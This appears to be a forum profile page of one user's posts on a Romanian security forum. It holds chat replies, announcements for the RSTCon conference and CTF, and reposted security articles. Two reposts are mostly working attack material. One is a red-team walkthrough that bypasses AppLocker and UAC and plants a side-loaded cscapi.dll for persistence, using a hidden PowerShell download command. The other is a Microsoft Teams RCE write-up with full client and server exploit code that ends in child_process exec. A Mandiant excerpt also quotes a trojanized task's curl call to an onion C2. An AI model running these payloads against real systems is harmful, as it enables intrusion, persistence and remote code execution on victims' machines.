Jump to content

Nytro

Administrators
  • Posts

    18732
  • Joined

  • Last visited

  • Days Won

    710

Posts posted by Nytro

  1. 1 hour ago, comros said:

    Vad, aud,  cunosc, observ din ce in ce mai putini romani care sa faca ceva notabil in acest domeniu.

     

     

    Din acest motiv facem RSTCon, incercam...

     

    1 hour ago, comros said:

    Ce top 3 mondial pe tari ati face in momentul de fata pentru hacking?

     

    Nu stiu daca se poate face un astfel de top, in prezent problema se pune "cine plateste mai mult". Mai exact, daca firmele si guvernele platesc oamenii bine, poate sa iasa research frumos insa cel mai adesea e "secret" (e.g. Snowden).

    Din punctul meu de vedere SUA si China sunt foarte implicate, dar am vazut tot mai multe despre Coreea de Nord. Nu am idee despre Rusia, in trecut faceau treburi, in prezent probabil nu mai sunt asa "implicati".

     

    1 hour ago, comros said:

    Ori am imbatranit eu, iar generatiile din urma sunt lenese si in filmele lor (tiktok, curvãsãrealã si drogangeala cat se poate) ?

     

     

    Asta ma intreb si eu, nu stiu ce se intampla, nu stiu ce fac tinerii din ziua de azi. Politehnica Bucuresti scotea oameni buni cu Security Summer School dar parca nici de acolo nu mai apar prea multi. Eu am fost implicat in ECSC si parca nu prea avem Juniori, nu stiu, poate s-au apucat toti de programare... 

    • Upvote 1
  2. Din punctul meu de vedere o carte e ideala ca sa inveti limbajul. Cat despre compilare, un tutorial ar trebui sa fie de ajuns ca sa intelegi sa folosesti un IDE. 

    Poti folosi si tutoriale video, dar cauta unele "complete", care sa acopera subiectul cat mai detaliat. Incearca platformele Udemy, Pluralsight sau altele, desi costa ceva, nu consider ca e vorba de un pret mare. 

  3. Inca ceva referitor la Discord-ul conferintei: NU este Discord-ul RST. Nu stiu ce faceti acolo si nu ma intereseaza, dar conferinta si CTF-ul sunt serioase, pentru cei interesati, asa ca daca nu aveti ce face gasiti alte activitati in loc sa injurati pe acel Discord si sa faceti caterinca ieftina. 

  4. „Eroii necunoscuți” ai comerțului online: Visa a emis peste 100 de milioane de tokenuri

    „Eroii necunoscuți” ai comerțului online: Visa a emis peste 100 de milioane de tokenuri

     

    În domeniul plăților, tokenurile înlocuiesc datele cardului și le transformă într-un cod care nu poate fi descifrat. Fiecare token este unic, astfel că nu poate fi spart sau exploatat de infractorii cibernetici, protejând în acest mod detaliile de plată. Tokenurile sunt generate automat, spre exemplu atunci când un utilizator își salvează datele de card într-o platformă de streaming, la un magazin online sau în portofelul digital de pe smartphone. Pot exista mai multe tokenuri generate pentru același card - fiecare dintre ele are asociat un număr unic și poate fi folosit exclusiv pe aplicația sau dispozitivul în care este stocat. Acesta este unul dintre motivele pentru care Visa Token Service (VTS) a emis mai mult de 100 de milioane de tokenuri în Europa Centrală și de Est - un număr considerabil mai mare decât cel al cardurilor fizice Visa din regiune.

     

    Articol complet: https://www.wall-street.ro/special/ecomteam/296165/eroii-necunoscuti-ai-comertului-online-visa-a-emis-peste-100-de-milioane-de-tokenuri.html?

  5. Platforma pentru CTF este disponibilă. Înregistrările sunt deschise:

     

    https://ctf.rstcon.com/

     

    Premiile pentru concurs:

    Locul I 4000 RON
    Locul II 2000 RON
    Locul III 1000 RON
    Cel mai bun write-up 500 RON

     

    Premiile sunt oferite din donații de la membrii comunității. Cei care ne pot ajuta cu o donație sunt rugați să ne contacteze la contact@rstcon.com. Astfel există posibilitatea ca valoarea premiilor să fie mai mare.

     

    De asemenea, dacă doriți să ne sprijiniți prin crearea unor exerciții CTF, indiferent de gradul de dificultate sau de tematica abordată, așteptăm un email la contact@rstcon.com.

     

    Pentru discuții referitoare la CTF vom folosi canalul #ctf de pe Discord.

    Prezentarea rezultatelor concursului va avea loc la ora 16:00 pe Discord.

     

    Informatii complete: https://rstcon.com/ctf/

     

    Revin cu detalii. 

    • Thanks 1
    • Upvote 3
  6. RST Con este o conferință online, gratuită, în limba română, adusă la viață de către comunitatea RST. Conferința va avea loc pe 27-28 aprilie 2023 de la 10:00 la 17:00 iar concursul CTF va avea loc de pe 29 aprilie 2023 ora 10:00 până pe 30 aprilie 2023 la ora 17:00. 

     

    Conferința se va desfășura folosind platforma Zoom. Înregistrarea și accesarea evenimentului este disponibilă la următoarea adresă:

     

    Vă rugăm să rețineți că evenimentele Zoom sunt diferite în cele două zile.

     

    Linkedin: https://www.linkedin.com/events/rstcon-37035364565479473152/about/

     

    Informatii complete pe https://rstcon.com/

     

    Revin cu informatii.

    • Upvote 4
  7. PayPal accounts breached in large-scale credential stuffing attack

     
    • January 19, 2023

    PayPal accounts breached in large-scale credential stuffing attack

    PayPal is sending out data breach notifications to thousands of users who had their accounts accessed through credential stuffing attacks that exposed some personal data.

    Credential stuffing are attacks where hackers attempt to access an account by trying out username and password pairs sourced from data leaks on various websites.

     
    This type of attack relies on an automated approach with bots running lists of credentials to "stuff" into login portals for various services.

    Credential stuffing targets users that employ the same password for multiple online accounts, which is known as "password recycling."

    Close to 35,000 users impacted

    PayPal explain that the credential stuffing attack occurred between December 6 and December 8, 2022. The company detected and mitigated it at the time but also started an internal investigation to find out how the hackers obtained access to the accounts.

     
    By December 20, 2022, PayPal concluded its investigation, confirming that unauthorized third parties logged into the accounts with valid credentials.

    The electronic payments platform claims that this was not due to a breach on its systems and has no evidence that the user credentials were obtained directly from them.

    According to the data breach reporting from PayPal, 34,942 of its users have been impacted by the incident. During the two days, hackers had access to account holders' full names, dates of birth, postal addresses, social security numbers, and individual tax identification numbers.

    Transaction histories, connected credit or debit card details, and PayPal invoicing data are also accessible on PayPal accounts.

    PayPal says it took timely action to limit the intruders' access to the platform and reset the passwords of accounts confirmed to have been breached.

     

    Also, the notification claims that the attackers have not attempted or did not manage to perform any transactions from the breached PayPal accounts.

    "We have no information suggesting that any of your personal information was misused as a result of this incident, or that there are any unauthorized transactions on your account," reads PayPal's notification to impacted users.

    "We reset the passwords of the affected PayPal accounts and implemented enhanced security controls that will require you to establish a new password the next time you log in to your account" - PayPal

    Impacted users will receive a free-of-charge two-year identity monitoring service from Equifax.

     

    The company strongly recommends that recipients of the notices change the passwords for other online accounts using a unique and long string. Typically, a good password is at least 12-characters long and includes alphanumeric characters and symbols.

    Moreover, PayPal advises users to activate two-factor authentication (2FA) protection from the 'Account Settings' menu, which can prevent an unauthorized party from accessing an account, even if they have a valid username and password.

     

    Sursa: https://www.bleepingcomputer.com/news/security/paypal-accounts-breached-in-large-scale-credential-stuffing-attack/

    • Upvote 1
  8. Jan 20

     

    Home Grown Red Team: Bypassing Applocker, UAC, and Getting Administrative Persistence

     

    1*4jR-qOHQ3hZkJi-s6dnpmQ.png

    Welcome back! In my previous post, I showed how we can bypass default Applocker rules using LNK files to get a Havoc beacon.

    In this installment, we’re going to bypass UAC and gain administrative persistence on a target without dropping EXEs to disk. Pretty cool, right?

    Getting Started

    If you haven’t read my previous post, you can find it here: Bypassing Applocker Using LNK Files. That post is going to show you how to set up your Powershell scripts, LNK file and so forth for initial access to the target.

    Since we still have access to our target, we’re going to start where we ended in our last article.

    Here’s the scenario:

    We have an administrative beacon in medium integrity through Havoc C2.

     

    1*a4dg-JwSmFLWJFrS0ehkzA.png

    You’ll notice that the process is Powershell. If we had used process injection in our shellcode dropper, we would have migrated to a different process like Explorer.exe or ApplicationFrameHost.exe (just something to think about).

    Running a “whoami” we see that our user, david, is part of the administrators group.

     

    1*ZCv_34PiCk8pDKUCr_zT4g.png

    In order for our persistence method to work, we need local admin. The reason being that we need access to “C:\Windows\” and this isn’t accessible to domain users or administrators unless we are in a high integrity beacon/process.

    So since this user is an admin, we can perform a UAC bypass. For this task, I prefer to use my own tool, HighBorn.

    HighBorn utilizes the Windows mock directory vulnerability to side load a DLL and execute it in high integrity.

    Using A UAC Bypass To Perform Administrative Actions

    A typical UAC Bypass is performed to get a high integrity beacon back to a C2. However, we can use HighBorn to perform administrative tasks on execution instead of getting a high integrity beacon.

    Let’s discuss the typical UAC Bypass to get a beacon back to Havoc. This is the usual workflow:

    1. Target downloads malicious EXE .

    2. We run HighBorn in memory using inline-execute.

    3. HighBorn performs the UAC Bypass and calls the EXE in high integrity.

    4. We get a high integrity beacon.

    Since we are bypassing Applocker protections, we don’t have a dropper on disk. Remember, our beacon is running through a Powershell process.

    The UAC Bypass performs administrative code execution so we can tailor this to our needs. Since our need for this POC is persistence, we can change our execution from calling a malicious EXE to downloading a malicious DLL.

    DLL Side Loading For Persistence

    I’ve seen a few posts on this, mainly on LinkedIn, but there is a pretty popular DLL side loading vulnerability in Windows File Explorer. If you craft a malicious DLL and name it cscapi.dll, you can place it in C:\Windows\ and it will get executed when the user logs in.

    The caveat to this is that you must have local admin privileges to gain access to C:\Windows\.

    So let’s begin by creating a malicious DLL.

    Creating The Malicious DLL

    To create a malicious DLL, I prefer to use my own tool, Harriet.

     

    1*WZHD-F-w6Ci-FTUwIkK0Nw.png

    We choose option 2 to create our DLL.

     

    1*TUEo5ML0BVRzaGoVP76gGQ.png

    We then choose option 1 (the only option for now) and then we input all of our values.

     

    1*XBM5iv9AermAUdpycdMbGQ.png

    I chose to inject into Explorer.exe (you might want to change this process if you’re on a real pentest) and I named my DLL appropriately for the exploit.

    Modifying HighBorn.cs For Administrative Actions

    Now we need to craft a command to call out to cscapi.dll and download it into C:\Windows\. This is where HighBorn comes in.

    I navigate to the HighBorn folder and edit the HighBorn.c file.

     

    1*A3kX50NZMfHi1B44oEMYnQ.png

    As you can see from the screenshot, this is a very simple DLL. We can use a easy Powershell command to download our cscapi.dll file into the Windows folder.

    powershell -Sta -Nop -Window Hidden iwr -Uri ‘http://IP:PORT/cscapi.dll' -Outfile ‘C:\Windows\cscapi.dll’

    However, if we try to compile this, we get escape sequence errors. Let’s encode our command into Base64 using Powershell.

    $str= “powershell -Sta -Nop -Window Hidden iwr -Uri ‘http://IP:PORT/cscapi.dll' -Outfile ‘C:\Windows\cscapi.dll’

    [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

    Now we should have a good Base64 string. Let’s add it to HighBorn.c file.

     

    1*866Wf8dGK5Ng0SKAg3FBiA.png

    We then compile it per the command in the ReadMe.md file in the HighBorn folder.

    x86_64-w64-mingw32-gcc -shared -o secur32.dll HighBorn.c -lcomctl32 -Wl, — subsystem,windows

    Now we have a secur32.dll file. In the HighBorn.cs file, we modify the exploit to put our IP and port to pull secur32.dll.

     

    1*u0wcHSWiurWdCZk26xCQUw.png

    Then we can compile HighBorn.exe with this command.

    mcs HighBorn.cs /out:HighBorn.exe

    We host secur32.dll and run our command in Havoc.

     

    1*46BGbHIzf7dei5hdmB6XmA.png

    On our python server, we see it pull secur32.dll and then it pulls our cscapi.dll file!

     

    1*j9HhT7krTzOA-vOZ6Fwf3w.png

    Moving to our Windows folder on the target, we see that it has our DLL in place.

     

    1*kEwh01SFoI49QRsisA3ikA.png

    Now remember, our cscapi.dll is a malicious DLL that will inject shellcode into Explorer.exe on login. Let’s reboot the target and see if we get a shellback.

    If all goes well, we should get a beacon in the Explorer.exe process on Havoc.

    And as user david logs in, we have our beacon!

     

    1*Sj3TjlGjEbWzHob3EecZbw.png

    Pretty cool persistence technique!

    The biggest con to this technique is that you need admin privileges.

    However, if you can crack an admin password you can perform this technique on any user’s system for persistence on multiple workstations in the environment without having to drop an EXE to disk.

    Hopefully you found this article helpful or at least interesting. If you like my content you can follow me on here or on Twitter @assume_breach

     

    Sursa: https://assume-breach.medium.com/home-grown-red-team-bypassing-applocker-uac-and-getting-administrative-persistence-88b85c81343e

    • Thanks 1
    • Upvote 1
  9. 2022 Microsoft Teams RCE

    Jan 16, 2023

    Me (@adm1nkyj1) and jinmo123 of theori(@jinmo123) participated pwn2own 2022 vancouver but we failed because of time allocation issue

    but our bug and the exploit was really cool so decided to share on blog!

    Executive Summary

    The deeplink handler for /l/task/:appId in Microsoft Teams can load an arbitrary url in webview/iframe. Attacker can leaverage this with teams RPC’s functionality to get code execution outside the sandbox.

    1. URL allowlist bypass using url encoding

    URL Route example

    ...
    k(p.states.appDeepLinkTaskModule, {
        url: "l/task/:appId?url&height&width&title&fallbackURL&card&completionBotId"
    }),
    k(p.states.appSfbFreQuickStartVideo, {
        url: "sfbfrequickstartvideo"
    }),
    k(p.states.appDeepLinkMeetingCreate, {
        url: "l/meeting/new?meetingType&groupId&tenantId&deeplinkId&attendees&subject&content&startTime&endTime&nobyoe&qsdisclaimer"
    }),
    k(p.states.appDeepLinkMeetingDetails, {
        url: "l/meeting/:tenantId/:organizerId/:threadId/:messageId?deeplinkId&nobyoe&qsdisclaimer"
    }),
    k(p.states.appDeepLinkMeetingDetailsEventId, {
        url: "l/meeting/details?eventId&deeplinkId"
    }),
    k(p.states.appDeepLinkVirtualEventCreate, {
        url: "l/virtualevent/new?eventType"
    }),
    k(p.states.appDeepLinkVirtualEventDetails, {
        url: "l/virtualevent/:eventId"
    }),
    ...
    

    In Microsoft Teams, there is a url route handler for /l/task/:appId which accepts url as a parameter. This allows chat bot created by Teams applications to send a link to user, which should be in the url allowlist.

    The allowlist is constructed from various fields of app definition:

        a = angular.isDefined(e.validDomains) ? _.clone(e.validDomains) : [];
    return e.galleryTabs && a.push.apply(a, _.map(e.galleryTabs, function (e) {
        return i.getValidDomainFromUrl(e.configurationUrl)
    })), e.staticTabs && a.push.apply(a, _.map(e.staticTabs, function (e) {
        return i.getValidDomainFromUrl(e.contentUrl)
    })), e.connectors && a.push.apply(a, _.map(e.connectors, function (e) {
        return i.utilityService.parseUrl(e.configurationUrl).host
    
    These domains are converted into regular expressions, and are used to validate the url:
    

    … www.office.com www.github.com …

    ```js
    ...
    t.prototype.isUrlInDomainList = function(e, t, n) {
        void 0 === n && (n = !1);
        for (var i = n ? e : this.parseUrl(e).href, s = 0; s < t.length; s++) {
            for (var a = "", r = t[s].split("."), o = 0; o < r.length; o++)
                a += (o > 0 ? "[.]" : "") + r[o].replace("*", "[^/^.]+");
            var c = new RegExp("^https://" + a + "((/|\\?).*)?$","i");
            if (e.match(c) || i.match(c))
                return !0
        }
        return !1
    }
    ...
    

    Regardless of the third parameter n, if the original url matches the given regular expression, this check is passed. After checking the url, instead, the parsed form (parseUrl) is passed to webview.

    e.prototype.setContainerUrl = function(e) {
        var t = this;
        this.sdkWindowMessageHandler && (this.sdkWindowMessageHandler.destroy(),
        this.sdkWindowMessageHandler = null);
        var n = this.utilityService.parseUrl(e);
        this.$q.when(this.htmlSanitizer.sanitizeUrl(n.href, ["https"])).then(function(e) {
            t.frameSrc = e
        })
    }
    

    This is problematic because parseUrl of utilityService url-decodes the url; the check is done on the original, url-encoded url. Especially, when an allowlisted domain contains wildcard e.g. *.office.com, the generated regular expression is /^https://[^/^.]+[.]office[.]com((/|\?).*)?$/i. The wildcard becomes [^/^.]+, but if the given url is https://attacker.com%23.office.com, the check is passed. However, after decoding the url, this becomes https://attacker.com#.office.com, which loads attacker.com instead.

    Microsoft Planner app (appId: 1ded03cb-ece5-4e7c-9f73-61c375528078) has a domain with wildcard in its validDomains field:

    {
        "manifestVersion": "1.7",
        "version": "0.0.19",
        "categories": [
            "Microsoft",
            "Productivity",
            "ProjectManagement"
        ],
        "disabledScopes": [
            "PrivateChannel"
        ],
        "developerName": "Microsoft Corporation",
        "developerUrl": "https://tasks.office.com",
        "privacyUrl": "https://privacy.microsoft.com/privacystatement",
        "termsOfUseUrl": "https://www.microsoft.com/servicesagreement",
        "validDomains": [
            "tasks.teams.microsoft.com",
            "retailservices.teams.microsoft.com",
            "retailservices-ppe.teams.microsoft.com",
            "tasks.office.com",
            "*.office.com"
        ],
    ...
    }
    

    As a result, this bug allows the attacker to load an arbitrary location into a webview.

    PoC:
    https://teams.live.com/_#/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://attacker.com%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=1&fqdn=teams.live.com

    2. pluginHost allows dangerous RPC calls from any webview

    Since contextIsolation is not enabled on the webview, attacker can leverage prototype pollution to invoke arbitrary electron IPC calls to processes (see Appendix section).

    Given this primitive, attacker can invoke 'calling:teams:ipc:initPluginHost' IPC call of main process, which gives the id of the pluginHost window.

    pluginHost exposes dangerous RPC calls to any webview e.g. returning a member of ‘registered objects’, calling them, and importing some allowlisted modules.

    lib/pluginhost/preload.js:

    // n, o is controllable
    P(c.remoteServerMemberGet, (e, t, n, o) => {
      const i = s.objectsRegistry.get(n);
      if (null == i)
        throw new Error(
          `Cannot get property '${o}' on missing remote object ${n}`
        );
      return A(e, t, () => i[o]);
    }),
    
    // n, o, i is controllable
    P(c.remoteServerMemberCall, (e, t, n, o, i) => {
      i = v(e, t, i);
      const r = s.objectsRegistry.get(n);
      if (null == r)
        throw new Error(
          `Cannot call function '${o}' on missing remote object ${n}`
        );
      return A(e, t, () => r[o](...i));
    }),
    

    Attacker can get the constructor of any objects, and the constructor of the constructor (Function) to compile arbitrary JavaScript code, and call the compiled function.

    [_,pluginHost]=ipc.sendSync('calling:teams:ipc:initPluginHost', []);
    msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{hey: 1}, 1, 'constructor', []], '')[0].id
    msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'alert()'}]], '')[0].id
    

    require() is not exposed to the script itself, but the attacker-controlled script can overwrite prototype of String, which is useful in this code:

    function loadSlimCore(slimcoreLibPath) {
    let slimcore;
    if (utility.isWebpackRuntime()) {
      const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
      slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
    ...
    }
    ...
    function requireEx(e, t) {
    ...
    const { slimCoreLibPath: n, error: o } =
      electron_1.ipcRenderer.sendSync(
        constants.events.calling.getSlimCoreLibInfo
      );
    if (o) throw new Error(o);
    if (t === n) return loadSlimCore(n);
    // n === 'slimcore'
    throw new Error("Invalid module: " + t);
    }
    
    // y === requireEx
    P(c.remoteServerRequire, (e, t, n) => A(e, t, () => y(e, n))),
    

    If the attacker calls remoteServerRequire with 'slimcore' as an argument, the pluginHost evaluates string returned by String.prototype.replace. Therefore, the following code can invoke require with arbitrary arguments, and call methods in the module.

    msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";'}]], '')[0].id
    ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{hey: 1}, msg, []], '')
    ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{hey: 1}, 'slimcore'], '')
    

    By using child_process module, attacker can execute any program.

    Appendix A: Accessing any bundled modules when contextIsolation is not enabled between preload script and web pages

    Electron compiles and executes a script named sandbox_bundle.js in every sandboxed frame, and it registers a handler that shows security warnings if user wants.

    To enable the security warning, users can set ELECTRON_ENABLE_SECURITY_WARNINGS either in environment variables or window.

    lib/renderer/security-warnings.ts#L43-L46:

      if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) ||
          (window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) {
        shouldLog = true;
      }
    

    This is called on ‘load’ event of the window:

    export function securityWarnings (nodeIntegration: boolean) {
      const loadHandler = async function () {
        if (shouldLogSecurityWarnings()) {
          const webPreferences = await getWebPreferences();
          logSecurityWarnings(webPreferences, nodeIntegration);
        }
      };
      window.addEventListener('load', loadHandler, { once: true });
    }
    

    security-warnings.ts is also bundled to sandbox_bundle.js using webpack. There is an import of webFrame, which lazily loads the “./lib/renderer/api/web-frame.ts”.

    import { webFrame } from 'electron';
    ...
    const isUnsafeEvalEnabled = () => {
      return webFrame._isEvalAllowed();
    };
    // this is called by warnAboutInsecureCSP + logSecurityWarnings
    

    This is done by electron.ts:

    import { defineProperties } from '@electron/internal/common/define-properties';
    import { moduleList } from '@electron/internal/sandboxed_renderer/api/module-list';
    
    module.exports = {};
    
    defineProperties(module.exports, moduleList);
    

    In define-properties.ts, it defines getter for all modules in moduleList; loader is invoked when a module e.g. webFrame is accessed.

    const handleESModule = (loader: ElectronInternal.ModuleLoader) => () => {
      const value = loader();
      if (value.__esModule && value.default) return value.default;
      return value;
    };
    
    // Attaches properties to |targetExports|.
    export function defineProperties (targetExports: Object, moduleList: ElectronInternal.ModuleEntry[]) {
      const descriptors: PropertyDescriptorMap = {};
      for (const module of moduleList) {
        descriptors[module.name] = {
          enumerable: !module.private,
          get: handleESModule(module.loader)
        };
      }
      return Object.defineProperties(targetExports, descriptors);
    }
    

    The loader for webFrame is defined in the moduleList:

    export const moduleList: ElectronInternal.ModuleEntry[] = [
      {
    ...
      {
        name: 'webFrame',
        loader: () => require('@electron/internal/renderer/api/web-frame')
      },
    

    Which is compiled as:

    }, {
        name: "webFrame",
        loader: ()=>r(/*! @electron/internal/renderer/api/web-frame */
        "./lib/renderer/api/web-frame.ts")
    }, {
    

    The function r above is __webpack_require__, which actually loads the module if not loaded yet.

    function __webpack_require__(r) {
        if (t[r])
            return t[r].exports;
    

    Here, t is the list of cached modules. If the module is not loaded by any code, t[r] is undefined. Also, t.__proto__ points Object.prototype, so attacker can install getter for the module path to get the whole list of cached modules.

    const KEY = './lib/renderer/api/web-frame.ts';
    let modules;
    Object.prototype.__defineGetter__(KEY, function () {
        console.log(this);
        modules = this;
        delete Object.prototype[KEY];
        main();
    })
    

    This enables attacker to get the @electron/internal/renderer/api/ipc-renderer module to send any IPCs to any processes.

    var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
    [_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);
    

    We utilized this to send IPC to pluginHost (see Section 2), and execute a program outside the sandbox.

    Exploit

    Client :
    https://teams.live.com/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://0e1%2Ekr\cd2c4753c4cb873c7be66e3ffdeae71f71ce33482e9921bab01dc3670a3b4f95\%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=&fqdn=teams.live.com

    Server :

    <script>
      const KEY = './lib/renderer/api/web-frame.ts';
      let modules;
      Object.prototype.__defineGetter__(KEY, function () {
        console.log(this);
        modules = this;
        delete Object.prototype[KEY];
        main();
      })
    
      window.ELECTRON_ENABLE_SECURITY_WARNINGS = true;
    
      function main() {
        var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
        [_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);
        msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')[0]
        msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{ hey: 1 }, msg.id, 'constructor', []], '')[0]
        msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{ hey: 1 }, msg.id, 'constructor', [{ type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";' }]], '')[0]
        ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{ hey: 1 }, msg.id, []], '')
        msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')
      }
    </script>

     

    Sursa: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html

    • Upvote 1
  10. Trojanized Windows 10 Operating System Installers Targeted Ukrainian Government

    MANDIANT INTELLIGENCE
    DEC 15, 2022
    16 MIN READ

    Executive Summary

    • Mandiant identified an operation focused on the Ukrainian government via trojanized Windows 10 Operating System installers. These were distributed via torrent sites in a supply chain attack.
    • Threat activity tracked as UNC4166 likely trojanized and distributed malicious  Windows Operating system installers which drop malware that conducts reconnaissance and deploys additional capability on some victims to conduct data theft.
    • The trojanized files use the Ukrainian language pack and are designed to target Ukrainian users. Following compromise targets selected for follow on activity included multiple Ukrainian government organizations.
    • At this time, Mandiant does not have enough information to attribute UNC4166 to a sponsor or previously tracked group. However, UNC4166’s targets overlap with organizations targeted by GRU related clusters with wipers at the outset of the war.

    Threat Detail

    Mandiant uncovered a socially engineered supply chain operation focused on Ukrainian government entities that leveraged trojanized ISO files masquerading as legitimate Windows 10 Operating System installers. The trojanized ISOs were hosted on Ukrainian- and Russian-language torrent file sharing sites. Upon installation of the compromised software, the malware gathers information on the compromised system and exfiltrates it. At a subset of victims, additional tools are deployed to enable further intelligence gathering. In some instances, we discovered additional payloads that were likely deployed following initial reconnaissance including the STOWAWAY, BEACON, and SPAREPART backdoors.

    • One trojanized ISO “Win10_21H2_Ukrainian_x64.iso” (MD5: b7a0cd867ae0cbaf0f3f874b26d3f4a4) uses the Ukrainian Language pack and could be downloaded from “https://toloka[.]to/t657016#1873175.” The Toloka site is focused on a Ukrainian audience and the image uses the Ukrainian language (Figure 1).
    • The same ISO was observed being hosted on a Russian torrent tracker (https://rutracker[.]net/forum/viewtopic.php?t=6271208) using the same image.
    • The ISO contained malicious scheduled tasks that were altered and identified on multiple systems at three different Ukrainian organizations beaconing to .onion TOR domains beginning around mid-July 2022.
    Win10_21H2_Ukrainian_x64.iso (MD5: b7a0cd867ae0cbaf0f3f874b26d3f4a4) Figure 1: Win10_21H2_Ukrainian_x64.iso (MD5: b7a0cd867ae0cbaf0f3f874b26d3f4a4)

    Attribution and Targeting

    Mandiant is tracking this cluster of threat activity as UNC4166. We believe that the operation was intended to target Ukrainian entities, due to the language pack used and the website used to distribute it. The use of trojanized ISOs is novel in espionage operations and included anti-detection capabilities indicates that the actors behind this activity are security conscious and patient, as the operation would have required a significant time and resources to develop and wait for the ISO to be installed on a network of interest.

    Mandiant has not uncovered links to previously tracked activity, but believes the actor behind this operation has a mandate to steal information from the Ukrainian government.

    • The organizations where UNC4166 conducted follow on interactions included organizations that were historically victims of disruptive wiper attacks that we associate with APT28 since the outbreak of the invasion.
    • This ISO was originally hosted on a Ukrainian torrent tracker called toloka.to by an account “Isomaker” which was created on the May 11, 2022.
    • The ISO was configured to disable the typical security telemetry a Windows computer would send to Microsoft and block automatic updates and license verification.
    • There was no indication of a financial motivation for the intrusions, either through the theft of monetizable information or the deployment of ransomware or cryptominers.

    Outlook and Implications

    Supply chain operations can be leveraged for broad access, as in the case of NotPetya, or the ability to discreetly select high value targets of interest, as in the SolarWinds incident. These operations represent a clear opportunity for operators to get to hard targets and carry out major disruptive attack which may not be contained to conflict zone.

    For more research from Google Cloud on securing the supply chain, see this Perspectives on Security report

    Technical Annex

    Mandiant identified several devices within Ukrainian Government networks which contained malicious scheduled tasks that communicated to a TOR website from around July 12th, 2022. These scheduled tasks act as a lightweight backdoor that retrieves tasking via HTTP requests to a given command and control (C2) server. The responses are then executed via PowerShell. From data collated by Mandiant, it appears that victims are selected by the threat actor for further tasking.

    In some instances, we discovered devices had additional payloads that we assess were deployed following initial reconnaissance of the users including the deployment of the STOWAWAY and BEACON backdoors.

    • STOWAWAY is a publicly available backdoor and proxy. The project supports several types of communication like SSH, socks5. Backdoor component supports upload and download of files, remote shell and basic information gathering.
       
    • BEACON is a backdoor written in C/C++ that is part of the Cobalt Strike framework. Supported backdoor commands include shell command execution, file transfer, file execution, and file management. BEACON can also capture keystrokes and screenshots as well as act as a proxy server. BEACON may also be tasked with harvesting system credentials, port scanning, and enumerating systems on a network. BEACON communicates with a C2 server via HTTP or DNS.

    The threat actor also began to deploy secondary toehold backdoors in the environment including SPAREPART, likely as a means of redundancy for the initial PowerShell bootstraps.

    • SPAREPART is a lightweight backdoor written in C that uses the device’s UUID as a unique identifier for communications with the C2. Upon successful connection to a C2, SPAREPART will download the tasking and execute it through a newly created process.

    Details

    Infection Vector

    Mandiant identified multiple installations of a trojanized ISO, which masquerades as a legitimate Windows 10 installer using the Ukrainian Language pack with telemetry settings disabled. We assess that the threat actor distributed these installers publicly, and then used an embedded schedule task to determine whether the victim should have further payloads deployed.

    Forensic analysis on the ISO identified the changes made by UNC4166 that enables the threat actor to perform additional triage of victim accounts:

    Modification of the GatherNetworkInfo and Consolidator Schedule Tasks

    The ISO contained altered GatherNetworkInfo and Consolidator schedule tasks, which added a secondary action that executed the PowerShell downloader action. Both scheduled tasks are legitimate components of Windows and execute the gatherNetworkInfo.vbs script or waqmcons.exe process.

    Legitimate GatherNetworkInfo task configuration Figure 2: Legitimate GatherNetworkInfo task configuration

    The altered tasks both contained a secondary action that was responsible for executing a PowerShell command. This command makes use of the curl binary to download a command from the C2 server, then the command is executed through PowerShell.

    The C2 servers in both instances were addresses to TOR gateways. These gateways advertise as a mechanism for users to access TOR from the standard internet (onion.moe, onion.ws).

    These tasks act as the foothold access into compromised networks, allowing UNC4166 to conduct reconnaissance on the victim device to determine networks of value for follow on threat activity.

    Trojanized GatherNetworkInfo task configuration Figure 3: Trojanized GatherNetworkInfo task configuration

    Based on forensic analysis of the ISO file, Mandiant identified that the compromised tasks were both edited as follows:

    • C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator (MD5:  ed7ab9c74aad08b938b320765b5c380d)
      • Last edit date: 2022-05-11 12:58:55
      • Executes: powershell.exe (curl.exe -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe -H ('h:'+(wmic csproduct get UUID)))
    • C:\Windows\System32\Tasks\Microsoft\Windows\NetTrace\GatherNetworkInfo (MD5:  1433dd88edfc9e4b25df370c0d8612cf)
      • Last edit date: 2022-05-11 12:58:12
